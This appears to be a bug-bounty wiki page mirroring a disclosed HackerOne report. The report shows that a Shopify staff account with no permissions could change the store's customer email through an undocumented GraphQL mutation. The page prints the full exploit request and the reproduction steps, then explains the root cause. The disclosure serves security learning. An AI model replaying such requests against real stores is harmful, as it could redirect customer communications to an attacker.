Skip to content
Access control Disclosed report Intermediate

A staff member with no permissions can edit Store Customer Email

A staff member with no permissions could use an undocumented GraphQL mutation to change the store's customer email address. This could let them redirect customer communications to an address they control.

ash_nz Follow

Originally disclosed on HackerOne

Bounty$1,500 Medium View original
  • Disclosed after 40 days

Impact

A staff member with no permissions can edit a store Customer email which they have no access to. This is the email that the store customers will see when emailing them.

Details

emailSenderConfigurationUpdate is an undocumented GraphQL API that will allows a malicious staff member in a store to update the Customer Email. This email configuration can be found in the general settings in your store. The following screenshot shows the details. ██████████

To reproduce this finding you will need two accounts in your store. One is the Owner and the other is an account that you invite as a staff member with no permissions. The following screenshot shows the accounts setup.

accounts.PNG
accounts.PNG From the original on HackerOne
permissions.PNG
permissions.PNG
  1. login as the Staff user and send the following mutation GraphQL request.
HTTP
POST /admin/internal/web/graphql/core HTTP/1.1
Cookie: [REDACTED]
accept: application/json
X-CSRF-Token: [REDACTED]
Content-Type: application/json
User-Agent: PostmanRuntime/7.26.5
Postman-Token: 082760e7-3dac-481e-8741-50cb2cc61617
Host: [YOUR-DOMAIN].myshopify.com
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 346

{"query":"\r\nmutation emailSenderConfigurationUpdate ($input:EmailSenderConfigurationUpdateInput!){  emailSenderConfigurationUpdate(input:$input) {\r\n    emailSenderConfiguration{\r\n        id\r\n    }\r\n\r\nuserErrors {\r\n    field\r\n    message\r\n}\r\n}\r\n}","variables":{
  "input":{
      "senderEmail":"███"
  }
}}
  1. Login with the Owner account and check the Store details,the Customer email should be updated with the new email address.

Impact

A staff member with no permissions can edit a store Customer email which they have no access to. This is the email that the store customers will see when emailing them.

The original report as published on HackerOne, by ash_nz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the undocumented GraphQL mutation did not enforce staff permission checks, allowing any staff member to update the customer email setting.

Impact

A staff member with no permissions could change the store's customer email, potentially redirecting customer communications to an address they control.

What the attacker needed

A staff account with no permissions; owner account to verify

How it was found

  1. Create two accounts: an owner and a staff member with no permissions.
  2. Log in as the staff user and send the emailSenderConfigurationUpdate GraphQL mutation with a new sender email.
  3. Log in as the owner and check Store details to see the customer email has changed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report shows that even a staff account with no permissions could still change the email address that customers see, via an undocumented API. That could let someone redirect customer emails to themselves.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by ash_nz

View all

2 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.